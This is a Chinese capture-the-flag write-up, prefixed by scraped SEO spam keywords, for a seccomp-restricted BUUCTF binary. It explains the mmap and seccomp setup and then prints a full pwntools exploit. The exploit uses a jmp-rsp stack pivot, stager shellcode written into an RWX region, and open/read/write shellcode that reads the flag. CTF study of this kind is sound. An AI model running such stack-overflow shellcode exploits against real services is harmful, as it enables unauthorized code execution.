商城网站大全,重庆seo软件,门户网站方案,万网虚拟服务器怎么做网站内容保护 ida 这里使用mmap函数创造了一个内存映射区域
从地址0x123000开始#xff0c;大小位0x1000
权限为可写可执行#xff08;可读0x1#xff0c;可写0x2#xff0c;可执行0x3#xff09;
设置为私有映射#xff08;MAP_PRIVATE#xff09;和匿名映射#xff08;MAP…保护 ida 这里使用mmap函数创造了一个内存映射区域
从地址0x123000开始大小位0x1000
权限为可写可执行可读0x1可写0x2可执行0x3
设置为私有映射MAP_PRIVATE和匿名映射MAP_ANONYMOUS
常见的标志的值
MAP_SHARED1MAP_PRIVATE2MAP_ANONYMOUS0x20 (32)MAP_FIXED0x10 (16)MAP_LOCKED0x2000 (8192)MAP_NORESERVE0x4000 (16384)
将要映射的文件描述符设为-1表示不关联任何文件
剩下的0指的就是偏移量了没有偏移 这里首先初始化将所有系统调用禁用并且后面使用seccomp_rule_add函数添加了可使用的系统调用。
根据64位系统调用号分别是
read系统调用号为0
write系统调用号为1
open系统调用号为2
exit系统调用号为60
因此系统调用exceve就没法用了。
解题思路
我尝试在栈上构造shellcode但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了正好此空间可写可执行。
完整exp
from pwn import*
context(log_leveldebug,archamd64)
#pprocess(./bad)
premote(node5.buuoj.cn,26264)
jmprsp0x400A01
mmap0x123000readmmapasm(shellcraft.read(0,mmap,100))
callmmapasm(
mov rax,0x123000
call rax
)
moverspasm(
sub rsp,0x30
call rsp
)
payloadreadmmapcallmmap
payloadpayload.ljust(0x28,b\x00)
payloadp64(jmprsp)moversp
p.sendlineafter(bhave fun!,payload)opensasm(shellcraft.open(./flag))
readsasm(shellcraft.read(3,mmap,100))
writesasm(shellcraft.write(1,mmap,100))
payloadopensreadswrites
p.sendline(payload)p.interactive()
这里来解释一下部分exp
补充点1readsasm(shellcraft.read(3,mmap,100))这里为什么填3而不是0
答这个是文件描述符的知识点在linux中系统会默认设置012三个文件描述符而这三个文件描述符代表的分别是标准输入就是我们从显示器输入的标准输出标准错误输出。在我们没有关闭任何一个文件描述符时我们再打开一个文件那就会使文件描述符3指向那个文件以此类推。这里我们打开了flag所以flag的文件描述符为3。当然为了省事也可以写成readsasm(shellcraft.read(rax,mmap,100))
补充点2在写汇编代码时记得使用context标注系统位比如64位。
补充点3opensasm(shellcraft.open(./flag))在远程中要写./flag而不是仅仅flag而已。